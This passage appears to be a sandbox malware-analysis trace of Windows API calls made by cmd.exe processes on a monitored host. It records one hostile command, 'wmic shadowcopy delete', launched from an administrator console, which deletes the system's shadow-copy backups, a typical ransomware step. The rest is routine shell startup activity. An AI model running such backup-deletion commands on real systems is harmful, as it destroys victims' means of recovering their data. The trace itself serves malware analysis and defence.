_wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0044.507] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0044.507] GetProcessHeap () returned 0x2cd147d0000 [0044.507] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d8420) returned 1 [0044.507] GetProcessHeap () returned 0x2cd147d0000 [0044.507] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0x12) returned 0x2cd147d18a0 [0044.507] _get_osfhandle (_FileHandle=1) returned 0x288 [0044.507] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0 [0044.507] _get_osfhandle (_FileHandle=0) returned 0x27c [0044.508] SetConsoleMode (hConsoleHandle=0x27c, dwMode=0x0) returned 0 [0044.508] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xe195f2efd0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe195f2efa8 | out: lpCommandLine="wmic shadowcopy delete", lpProcessInformation=0xe195f2efa8*(hProcess=0x94, hThread=0x98, dwProcessId=0xd08, dwThreadId=0x9b4)) returned 1 [0044.842] CloseHandle (hObject=0x98) returned 1 [0044.842] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0044.842] GetProcessHeap () returned 0x2cd147d0000 [0044.842] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147ea030) returned 1 [0044.842] GetEnvironmentStringsW () returned 0x2cd147d5930* [0044.842] GetProcessHeap () returned 0x2cd147d0000 [0044.842] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xaf2) returned 0x2cd147e9530 [0044.842] FreeEnvironmentStringsA (penv="=") returned 1 [0044.842] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0xe195f2e4a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xe195f2e4a8, ReturnLength=0x0) returned 0x0 [0044.842] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0x9e524a9000, lpBuffer=0xe195f2e4e0, nSize=0x7a0, lpNumberOfBytesRead=0xe195f2e4a0 | out: lpBuffer=0xe195f2e4e0*, lpNumberOfBytesRead=0xe195f2e4a0*=0x7a0) returned 1 [0044.842] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0066.487] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0xe195f2ef28 | out: lpExitCode=0xe195f2ef28*=0x40010004) returned 1 [0066.487] CloseHandle (hObject=0x94) returned 1 [0066.487] _vsnwprintf (in: _Buffer=0xe195f2f0f8, _BufferCount=0x13, _Format="%08X", _ArgList=0xe195f2ef38 | out: _Buffer="40010004") returned 8 [0066.487] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="40010004") returned 1 [0066.487] GetProcessHeap () returned 0x2cd147d0000 [0066.487] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147e9530) returned 1 [0066.487] GetEnvironmentStringsW () returned 0x2cd147d5930* [0066.487] GetProcessHeap () returned 0x2cd147d0000 [0066.487] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xaf2) returned 0x2cd147e9530 [0066.487] FreeEnvironmentStringsA (penv="=") returned 1 [0066.487] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.487] GetProcessHeap () returned 0x2cd147d0000 [0066.487] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147e9530) returned 1 [0066.487] GetEnvironmentStringsW () returned 0x2cd147d5930* [0066.487] GetProcessHeap () returned 0x2cd147d0000 [0066.487] RtlAllocateHeap (HeapHandle=0x2cd147d0000, Flags=0x8, Size=0xaf2) returned 0x2cd147e9530 [0066.487] FreeEnvironmentStringsA (penv="=") returned 1 [0066.487] GetProcessHeap () returned 0x2cd147d0000 [0066.487] RtlFreeHeap (HeapHandle=0x2cd147d0000, Flags=0x0, BaseAddress=0x2cd147d18a0) returned 1 [0066.487] DeleteProcThreadAttributeList (in: lpAttributeList=0xe195f2f0b0 | out: lpAttributeList=0xe195f2f0b0) [0066.487] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0066.607] ??_V@YAXPEAX@Z () returned 0x1 [0066.607] _get_osfhandle (_FileHandle=1) returned 0x288 [0066.607] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) Thread: id = 24 os_tid = 0xa98 Thread: id = 143 os_tid = 0x10e8 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x34ad2000" os_pid = "0xa8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xe64" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 13 os_tid = 0x498 [0040.322] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff653040000 [0040.322] __set_app_type (_Type=0x1) [0040.322] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff653056d00) returned 0x0 [0040.322] __getmainargs (in: _Argc=0x7ff653079200, _Argv=0x7ff653079208, _Env=0x7ff653079210, _DoWildCard=0, _StartInfo=0x7ff65307921c | out: _Argc=0x7ff653079200, _Argv=0x7ff653079208, _Env=0x7ff653079210) returned 0 [0040.322] _onexit (_Func=0x7ff653057fd0) returned 0x7ff653057fd0 [0040.322] _onexit (_Func=0x7ff653057fe0) returned 0x7ff653057fe0 [0040.322] _onexit (_Func=0x7ff653057ff0) returned 0x7ff653057ff0 [0040.322] _onexit (_Func=0x7ff653058000) returned 0x7ff653058000 [0040.322] _onexit (_Func=0x7ff653058010) returned 0x7ff653058010 [0040.323] _onexit (_Func=0x7ff653058020) returned 0x7ff653058020 [0040.323] GetCurrentThreadId () returned 0x498 [0040.323] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x498) returned 0x70 [0040.323] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0040.323] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0040.323] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.336] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0040.336] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x6c08ffc28 | out: phkResult=0x6c08ffc28*=0x0) returned 0x2 [0040.336] VirtualQuery (in: lpAddress=0x6c08ffc14, lpBuffer=0x6c08ffb90, dwLength=0x30 | out: lpBuffer=0x6c08ffb90*(BaseAddress=0x6c08ff000, AllocationBase=0x6c0800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.336] VirtualQuery (in: lpAddress=0x6c0800000, lpBuffer=0x6c08ffb90, dwLength=0x30 | out: lpBuffer=0x6c08ffb90*(BaseAddress=0x6c0800000, AllocationBase=0x6c0800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.336] VirtualQuery (in: lpAddress=0x6c0801000, lpBuffer=0x6c08ffb90, dwLength=0x30 | out: lpBuffer=0x6c08ffb90*(BaseAddress=0x6c0801000, AllocationBase=0x6c0800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.336] VirtualQuery (in: lpAddress=0x6c0804000, lpBuffer=0x6c08ffb90, dwLength=0x30 | out: lpBuffer=0x6c08ffb90*(BaseAddress=0x6c0804000, AllocationBase=0x6c0800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.336] VirtualQuery (in: lpAddress=0x6c0900000, lpBuffer=0x6c08ffb90, dwLength=0x30 | out: lpBuffer=0x6c08ffb90*(BaseAddress=0x6c0900000, AllocationBase=0x6c0900000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0040.336] GetConsoleOutputCP () returned 0x1b5 [0040.371] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65307fbb0 | out: lpCPInfo=0x7ff65307fbb0) returned 1 [0040.371] SetConsoleCtrlHandler (HandlerRoutine=0x7ff653068150, Add=1) returned 1 [0040.371] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.371] GetConsoleMode (in: hConsoleHandle=0x2b0, lpMode=0x7ff65307fc04 | out: lpMode=0x7ff65307fc04) returned 0 [0040.371] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.371] GetConsoleMode (in: hConsoleHandle=0x2a4, lpMode=0x7ff65307fc00 | out: lpMode=0x7ff65307fc00) returned 0 [0040.371] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.371] SetConsoleMode (hConsoleHandle=0x2b0, dwMode=0x0) returned 0 [0040.371] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.371] GetConsoleMode (in: hConsoleHandle=0x2b0, lpMode=0x7ff65307fc08 | out: lpMode=0x7ff65307fc08) returned 0 [0040.371] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.371] GetConsoleMode (in: hConsoleHandle=0x2a4, lpMode=0x7ff65307fc0c | out: lpMode=0x7ff65307fc0c) returned 0 [0040.371] GetEnvironmentStringsW () returned 0x19577e45a10* [0040.372] GetProcessHeap () returned 0x19577e40000 [0040.372] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xa7c) returned 0x19577e464a0 [0040.372] FreeEnvironmentStringsA (penv="A") returned 1 [0040.372] GetProcessHeap () returned 0x19577e40000 [0040.372] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x8) returned 0x19577e46f30 [0040.372] GetEnvironmentStringsW () returned 0x19577e45a10* [0040.372] GetProcessHeap () returned 0x19577e40000 [0040.372] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xa7c) returned 0x19577e46f50 [0040.372] FreeEnvironmentStringsA (penv="A") returned 1 [0040.372] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6c08fead8 | out: phkResult=0x6c08fead8*=0x7c) returned 0x0 [0040.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x0, lpData=0x6c08feaf0*=0x4, lpcbData=0x6c08fead4*=0x1000) returned 0x2 [0040.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x4, lpData=0x6c08feaf0*=0x1, lpcbData=0x6c08fead4*=0x4) returned 0x0 [0040.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x0, lpData=0x6c08feaf0*=0x1, lpcbData=0x6c08fead4*=0x1000) returned 0x2 [0040.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x4, lpData=0x6c08feaf0*=0x0, lpcbData=0x6c08fead4*=0x4) returned 0x0 [0040.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x4, lpData=0x6c08feaf0*=0x40, lpcbData=0x6c08fead4*=0x4) returned 0x0 [0040.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x4, lpData=0x6c08feaf0*=0x40, lpcbData=0x6c08fead4*=0x4) returned 0x0 [0040.372] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x0, lpData=0x6c08feaf0*=0x40, lpcbData=0x6c08fead4*=0x1000) returned 0x2 [0040.372] RegCloseKey (hKey=0x7c) returned 0x0 [0040.373] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6c08fead8 | out: phkResult=0x6c08fead8*=0x7c) returned 0x0 [0040.373] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x0, lpData=0x6c08feaf0*=0x40, lpcbData=0x6c08fead4*=0x1000) returned 0x2 [0040.373] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x4, lpData=0x6c08feaf0*=0x1, lpcbData=0x6c08fead4*=0x4) returned 0x0 [0040.373] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x0, lpData=0x6c08feaf0*=0x1, lpcbData=0x6c08fead4*=0x1000) returned 0x2 [0040.373] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x4, lpData=0x6c08feaf0*=0x0, lpcbData=0x6c08fead4*=0x4) returned 0x0 [0040.373] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x4, lpData=0x6c08feaf0*=0x9, lpcbData=0x6c08fead4*=0x4) returned 0x0 [0040.373] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x4, lpData=0x6c08feaf0*=0x9, lpcbData=0x6c08fead4*=0x4) returned 0x0 [0040.373] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6c08fead0, lpData=0x6c08feaf0, lpcbData=0x6c08fead4*=0x1000 | out: lpType=0x6c08fead0*=0x0, lpData=0x6c08feaf0*=0x9, lpcbData=0x6c08fead4*=0x1000) returned 0x2 [0040.373] RegCloseKey (hKey=0x7c) returned 0x0 [0040.373] time (in: timer=0x0 | out: timer=0x0) returned 0x5ce79c7f [0040.373] srand (_Seed=0x5ce79c7f) [0040.373] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0040.373] malloc (_Size=0x4000) returned 0x195781254f0 [0040.373] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0040.373] malloc (_Size=0xffce) returned 0x19577f40080 [0040.374] ??_V@YAXPEAX@Z () returned 0x19577f40080 [0040.374] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x19577f40080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.374] malloc (_Size=0xffce) returned 0x19577f50060 [0040.374] ??_V@YAXPEAX@Z () returned 0x19577f50060 [0040.375] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19577f50060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0040.375] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0040.375] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0040.375] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0040.375] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0040.375] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0040.375] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0040.375] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0040.375] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0040.375] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0040.375] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0040.375] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0040.375] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0040.375] GetProcessHeap () returned 0x19577e40000 [0040.375] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e464a0) returned 1 [0040.375] GetEnvironmentStringsW () returned 0x19577e45a10* [0040.375] GetProcessHeap () returned 0x19577e40000 [0040.375] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xa94) returned 0x19577e47a10 [0040.375] FreeEnvironmentStringsA (penv="A") returned 1 [0040.375] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0040.376] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0040.376] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0040.376] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0040.376] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0040.376] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0040.376] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0040.376] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0040.376] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0040.376] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0040.376] malloc (_Size=0xffce) returned 0x19577f60040 [0040.376] ??_V@YAXPEAX@Z () returned 0x19577f60040 [0040.376] GetProcessHeap () returned 0x19577e40000 [0040.376] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x40) returned 0x19577e484b0 [0040.376] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x19577f60040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.377] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x19577f60040, lpFilePart=0x6c08ff650 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6c08ff650*="Desktop") returned 0x17 [0040.377] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0040.377] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x6c08ff380 | out: lpFindFileData=0x6c08ff380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x19577e48500 [0040.377] FindClose (in: hFindFile=0x19577e48500 | out: hFindFile=0x19577e48500) returned 1 [0040.377] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x6c08ff380 | out: lpFindFileData=0x6c08ff380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x19577e48500 [0040.377] FindClose (in: hFindFile=0x19577e48500 | out: hFindFile=0x19577e48500) returned 1 [0040.377] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x6c08ff380 | out: lpFindFileData=0x6c08ff380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xda1c57eb, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xda1c57eb, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x19577e48500 [0040.378] FindClose (in: hFindFile=0x19577e48500 | out: hFindFile=0x19577e48500) returned 1 [0040.378] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0040.378] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0040.378] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0040.378] GetProcessHeap () returned 0x19577e40000 [0040.378] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e47a10) returned 1 [0040.378] GetEnvironmentStringsW () returned 0x19577e40fc0* [0040.378] GetProcessHeap () returned 0x19577e40000 [0040.378] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xacc) returned 0x19577e48500 [0040.378] FreeEnvironmentStringsA (penv="=") returned 1 [0040.378] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x19577f40080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.378] GetProcessHeap () returned 0x19577e40000 [0040.378] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e484b0) returned 1 [0040.378] ??_V@YAXPEAX@Z () returned 0x1 [0040.378] ??_V@YAXPEAX@Z () returned 0x1 [0040.378] GetProcessHeap () returned 0x19577e40000 [0040.378] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x4016) returned 0x19577e48fe0 [0040.379] GetProcessHeap () returned 0x19577e40000 [0040.379] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e48fe0) returned 1 [0040.379] GetConsoleOutputCP () returned 0x1b5 [0040.383] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff65307fbb0 | out: lpCPInfo=0x7ff65307fbb0) returned 1 [0040.383] GetUserDefaultLCID () returned 0x409 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff65307bb78, cchData=8 | out: lpLCData=":") returned 2 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x6c08ffa10, cchData=128 | out: lpLCData="0") returned 2 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x6c08ffa10, cchData=128 | out: lpLCData="0") returned 2 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x6c08ffa10, cchData=128 | out: lpLCData="1") returned 2 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff65307bb68, cchData=8 | out: lpLCData="/") returned 2 [0040.384] GetLocaleInfoW (in: Locale=0x409, 